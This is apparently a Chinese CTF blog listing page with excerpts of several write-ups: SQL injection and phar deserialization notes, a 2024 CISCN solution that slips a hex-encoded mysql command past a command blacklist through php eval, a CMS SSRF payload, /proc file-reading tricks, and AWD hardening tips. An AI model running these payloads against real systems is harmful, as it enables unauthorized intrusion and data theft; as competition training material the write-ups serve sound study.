[靶场笔记]第十七章

mid字符串指针控制 在sql注入时,如果最后dump flag的长度被限制,可以用mid函数控制输出指针,比如下面这句payload -1%27/**/union/**/select/**/1,database(),mid(group_concat(id,flag),1,20)/**/from/**/test_db.flag%23 修改mid的值就行 phar反序化 这里存一段phar反序化的初始化代码(更多内容可以看这里) <?php class example {} $o = new example(); @unlink("example.phar");//这行可有可无 $phar = new Phar("example.phar"); //后缀必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //stub设置 $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "this is a test"); //添加要压缩的文件 $phar->stopBuffering();//签名自动计算 ?> 由于phar在存储时使用的是序列化后的数据,因此在使用phar://伪协议读取phar文件时会自动执行反序化函数,就能达到反序化的目的。并且phar文件是无所谓后缀的,只要数据流本质是压缩文件即可,可以随意更改为png等不易被waf干掉的后缀 补充一点,生成后的phar文件由meta-data、meta-data签名(默认是sha1,20字节)和签名格式(8字节)组成。如果碰到_wakeup魔术方法需要绕过,要改phar内容,就要对修改过的phar文件进行重新签名,否则会无法执行,下面是重新签名的示例 from hashlib import sha1 import gzip file = open('phar.phar', 'rb').read() #data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeup data = file[:-28]#要签名的部分是文件头到meta-data的数据。 final = file[-8:]#签名格式 newfile = data+sha1(data).digest()+final open('newpoc.phar', 'wb').write(newfile) #生成新文件后如果还碰到__HALT_COMPILER();过滤,可以用gzip压缩使其消失 newf = gzip.compress(newfile) with open(r'2.jpg', 'wb') as file: #更改文件后缀 file.write(newf) 自增绕过 ...

May 31, 2024 · 1 min · Red

2024 CISCN WP

simple_php 先看代码 <?php ini_set('open_basedir', '/var/www/html/'); error_reporting(0); if(isset($_POST['cmd'])){ $cmd = escapeshellcmd($_POST['cmd']); if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) { system($cmd); } } show_source(__FILE__); ?> open_basedir限制了访问路径,但是对system等命令执行函数是无效的,因此先不管。 再来看一下escapeshellcmd 简单来说就是会对上述字符进行转义,引号会在成对的时候被ban掉 继续往下看正则,当时队友试出了几个能用的,其中包括ps -e,base32。后面看其他师傅的wp还有rev,paste等文件读取的指令,后面发现还可以用%0a绕过函数过滤,这里也记录学习一下。 不过试来试去都没发现flag,但是在/etc/passwd发现了个mysql 之前西湖论剑的经验让我第一反应是udf提取,但没法执行或者连接mysql,所以只能另寻他法。后面找到了个-e参数能够执行sql指令 结合上面没找到flag文件,因此猜测flag在数据库里。但是-e参数后面跟的内容是要带引号的,所以还是得找到来绕过引号的办法。而且只执行是不行的,还得把内容输出出来,这里就得再套一层echo和反引号,也就是 echo `mysql -uroot -proot -e 'show databases;'`; 想起来php还有个-r参数能不带引号执行指令 直接上 php -r eval($a=1;print_r($a)); 在kali尝试是可以的,这里还得想办法往-r后面塞指令。既然绕过不行,那就编码,第一反应就是当时队友试出的base32,但是没找到php中有对应的函数可以解,于是就想到了16进制,可以把16进制编码后的指令用hex2bin解码,再把解码出来的东西给eval执行,到这步我们的payload就变成了 php -r eval(hex2bin(6563686F20606D7973716C202D75726F6F74202D70726F6F74202D65202773686F77206461746162617365733B27603B)); 执行后出现报错 分析原因是因为把数字开头的16进制当成数字型数据而不是字符串了,所以在最前面随便加个非数字的字符,用substr截断一下就行 php -r eval(hex2bin(substr(_6563686F20606D7973716C202D75726F6F74202D70726F6F74202D65202773686F77206461746162617365733B27603B,1))); 可以读库了,后面就正常查表即可 easy_cms 和网上一些师傅的审计不太一样,我当时写出来是队友找到了这个接口 对于fuzz了半天没试出什么东西的我断定可控接口肯定只有这几个…..于是去搜索有哪些文件调用了这几个接口 在/dayrui/Fcms/Core/Helper.php找到下面这段 明显thumb和text可控,但还是不知道这里的thumb传入进去后在哪处理,后面才在/dayrui/Fcms/Control/Api/Api.php找到下面这段对thumb参数的解析 结合后来队友告诉我发现的dr_catcher_data函数存在curl调用 因此推断这里存在ssrf,去访问题目描述给出的flag.php 这里直接构造payload就是 ?s=api&c=api&m=qrcode&thumb=http://127.0.0.1/flag.php?cmd=ls&text=100 但是这样打过去会发现并没有反应,因为没有回显的地方,因此这里只能用curl请求外带,起一个vps搭一个php服务,分别写1.php和2.php两个文件(记录一下队友教的php一句话简易服务:php -S 0.0.0.0:9999 -t . ) ...

May 28, 2024 · 1 min · Red

2024 CISCN校内选拔赛WP

MISC readme 方法1: 非常简单易懂的代码。直接过滤了flag.txt,以及相当于过滤了/proc/self/fd (更多关于/proc的内容看这里) 这里的奇技淫巧在于/dev/stdin、/dev/stdout、/dev/stderr,即标准输入、标准输出、标准错误与/proc/self/fd间的链接。我们可以在kali里尝试一下下面这句指令 ls -l /dev/stdin /dev/stdout /dev/stderr lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stderr -> /proc/self/fd/2 lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stdin -> /proc/self/fd/0 lrwxrwxrwx 1 root root 15 9月17日 15:35 /dev/stdout -> /proc/self/fd/1 在本地修改一下server.py,在with块中加上一个print(f.fileno()),起一个docker(因为给了docker-compose.yml,所以直接docker-compose up -d就行),nc连接本地起的服务后就能看到输出了一个数字,这个数字就是flag打开的fd,因此payload:/dev/stdin/../数值 方法2: 这种方法同样要起本地自己起docker,思路就是通过 proc 文件系统来尝试读取内存。如果没有 0x100 字节的限制的话就可以直接在 /proc/self/maps 中读取 flag.txt 的位置,然后再通过 /proc/self/map_files/… 进行读取。但实际上 maps 输出不到 flag.txt 的位置,所以就要想一些其他办法来得到它的地址。 可以在/proc/self下看到类似的内容。当然这是在本地起的docker中,去除掉了0x100的限制 /proc/self/map_files/558c0a022000-558c0a023000 /usr/local/bin/python3.11 /proc/self/map_files/558c0a023000-558c0a024000 /usr/local/bin/python3.11 /proc/self/map_files/558c0a024000-558c0a025000 /usr/local/bin/python3.11 /proc/self/map_files/558c0a025000-558c0a026000 /usr/local/bin/python3.11 /proc/self/map_files/558c0a026000-558c0a027000 /usr/local/bin/python3.11 /proc/self/map_files/7f9ee08ed000-7f9ee08ef000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so /proc/self/map_files/7f9ee08ef000-7f9ee08f1000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so /proc/self/map_files/7f9ee08f1000-7f9ee08f3000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so /proc/self/map_files/7f9ee08f3000-7f9ee08f4000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so /proc/self/map_files/7f9ee08f4000-7f9ee08f5000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so /proc/self/map_files/7f9ee0b5b000-7f9ee0b62000 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache /proc/self/map_files/7f9ee0b62000-7f9ee0bb9000 /usr/lib/locale/C.utf8/LC_CTYPE /proc/self/map_files/7f9ee0bbb000-7f9ee0bcb000 /usr/lib/x86_64-linux-gnu/libm.so.6 /proc/self/map_files/7f9ee0bcb000-7f9ee0c3e000 /usr/lib/x86_64-linux-gnu/libm.so.6 /proc/self/map_files/7f9ee0c3e000-7f9ee0c98000 /usr/lib/x86_64-linux-gnu/libm.so.6 /proc/self/map_files/7f9ee0c98000-7f9ee0c99000 /usr/lib/x86_64-linux-gnu/libm.so.6 /proc/self/map_files/7f9ee0c99000-7f9ee0c9a000 /usr/lib/x86_64-linux-gnu/libm.so.6 /proc/self/map_files/7f9ee0c9a000-7f9ee0cc0000 /usr/lib/x86_64-linux-gnu/libc.so.6 /proc/self/map_files/7f9ee0cc0000-7f9ee0e15000 /usr/lib/x86_64-linux-gnu/libc.so.6 /proc/self/map_files/7f9ee0e15000-7f9ee0e68000 /usr/lib/x86_64-linux-gnu/libc.so.6 /proc/self/map_files/7f9ee0e68000-7f9ee0e6c000 /usr/lib/x86_64-linux-gnu/libc.so.6 /proc/self/map_files/7f9ee0e6c000-7f9ee0e6e000 /usr/lib/x86_64-linux-gnu/libc.so.6 /proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000 /home/ctf/flag.txt /proc/self/map_files/7f9ee0e7d000-7f9ee0f6b000 /usr/local/lib/libpython3.11.so.1.0 /proc/self/map_files/7f9ee0f6b000-7f9ee111f000 /usr/local/lib/libpython3.11.so.1.0 /proc/self/map_files/7f9ee111f000-7f9ee1202000 /usr/local/lib/libpython3.11.so.1.0 /proc/self/map_files/7f9ee1202000-7f9ee1231000 /usr/local/lib/libpython3.11.so.1.0 /proc/self/map_files/7f9ee1231000-7f9ee1362000 /usr/local/lib/libpython3.11.so.1.0 /proc/self/map_files/7f9ee13a7000-7f9ee13a8000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /proc/self/map_files/7f9ee13a8000-7f9ee13cd000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /proc/self/map_files/7f9ee13cd000-7f9ee13d7000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /proc/self/map_files/7f9ee13d7000-7f9ee13d9000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /proc/self/map_files/7f9ee13d9000-7f9ee13db000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000 被连接到 flag.txt。 但是这个文件名似乎不是一个固定值,因此我们需要猜测这个文件名。通过搜索后发现它写在 /proc/self/maps 中,并且在 /proc/self/syscall 中找到了一个类似的地址。下面是在题目给的远程环境中的看到的 ...

May 12, 2024 · 19 min · Red

友谊赛WP

wp发布时服务器正在维护,可能无法打开平台,明天就能重新进入平台 MISC 维多利亚的秘密(作者:hayneschen) 两个附件,压缩包需要密码打不开,试试伪加密,行不通那就先放一边,找找图片有没有线索 拿到图片常规对图片进行 010 检查,找隐写,发现都没有 简介中说到 海盗们都喜欢把宝藏的钥匙藏在海底下~ 那就应该联想到图片下方还有内容没显示完全 图中 07 E0 代表 PNG 图像的长,02 90 代表 PNG 图像的高,那随便把高修改一下就能发现海底藏着一个二维码 扫描二维码发现文本开头是 data:image/png;base64 找到 base64 转图片 找到解压密码,解压后得到flag.txt和is_me! flag 打开发现被骗了,真正的宝藏在is_me! 中 没有后缀怎么办,010 看看呗 PK 开头,妥妥的 zip,先改 zip 解压试试看,很顺利解压出来了 这内容一看就是 word 文档,不应该用 zip 解压,把文件改为.docx 后缀打开 移除表面的照片后全选文件改一下颜色就能发现一串二进制 把 0 用空格换掉得到 新型终端 一个wasm文件,可以自己从官方github项目上查手册搭一个,这里用wmctf曾出现过的题,套上去搭一个就行 base64 flag得到 H4sIAAAAAAAAA/MLDnYOcatOSTMyszAzstA1STIy0TUxTTLWTUpMMtc1MzexSEw1M0xMM0irBQAyahiTLAAAAA== 卫继龚的电动车 根据提示,短的为0,长度为1,得到:0111010010101010011000100 这道题是PT224X,地址位长度为20bit,后4位为数据位,因此截取前20位即可 flag为:xujc{01110100101010100110} 光线追踪 附件是个ELF,扔到IDA中,发现像是个迷宫题: 找到迷宫坐标数据将其提取出来,比较长这里就不贴了,每组坐标都是[x,y,z]的形式,如前三个是: [105, 120, 30] [75, 90, 30] [135, 90, 30] 因为是三维坐标,所以肯定不是平面能看出来的,我们转战到3d软件中建模呈现坐标,我这里用的是unity。 ...

April 29, 2024 · 10 min · Red

AWD与ISW

AWD 西安交大的大佬给我们队现阶段打AWD的建议:别怕,很多人也没打过,在大家实力都差不多的时候,就是拼前期准备和**速度** 加固阶段防御 修改密码 1.改linux用户密码: passwd 如果有权限就删除用户: userdel -r [用户名] 2.改mysql密码: update mysql.user set password=password('密码') where user='root'; 删除匿名用户: delete from mysql.user where user=' '; 刷新配置: flush privileges; 3.改网站后台密码 登录mysql: mysql -u root -p show databases;use test; show tables; updata 表名 set 字段名 = ‘值’: updata admin set user pass=’123456’; 刷新配置: flush privileges; dump源码 1.备份原代码 使用ssh工具保留源码,复制两份,用d盾去扫一份 注意:如果使用tar命令打包文件夹,.index.php(隐藏类型文件)将不会被打包,因此最好用ls -a检查一遍 或者使用scp命令 先将网站目录打包成tar tar -cvf [打包后的文件名.tar] [要打包的文件名] 用ssh或ftp将打包文件拉到本地 ssh法: scp 用户名@IP地址:要下载的文件路径 存放路径 如:scp root@192.168.16.8:/root/flag.txt /root/ ftp法: ftp [IP地址] get [文件名] 或者用ftp登入软件下载 2.备份数据库 mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库 cd /var/lib/mysqlmysqldump -u db_user -p db_passwd > 1.sql //先进入数据库目录再备份 mysqldump —all-databases > 1.sql //备份所有数据库 3.数据库还原 mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库 cd /var/lib/mysqlmysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原 防御部署 先进行服务器检查: ...

April 13, 2024 · 11 min · Red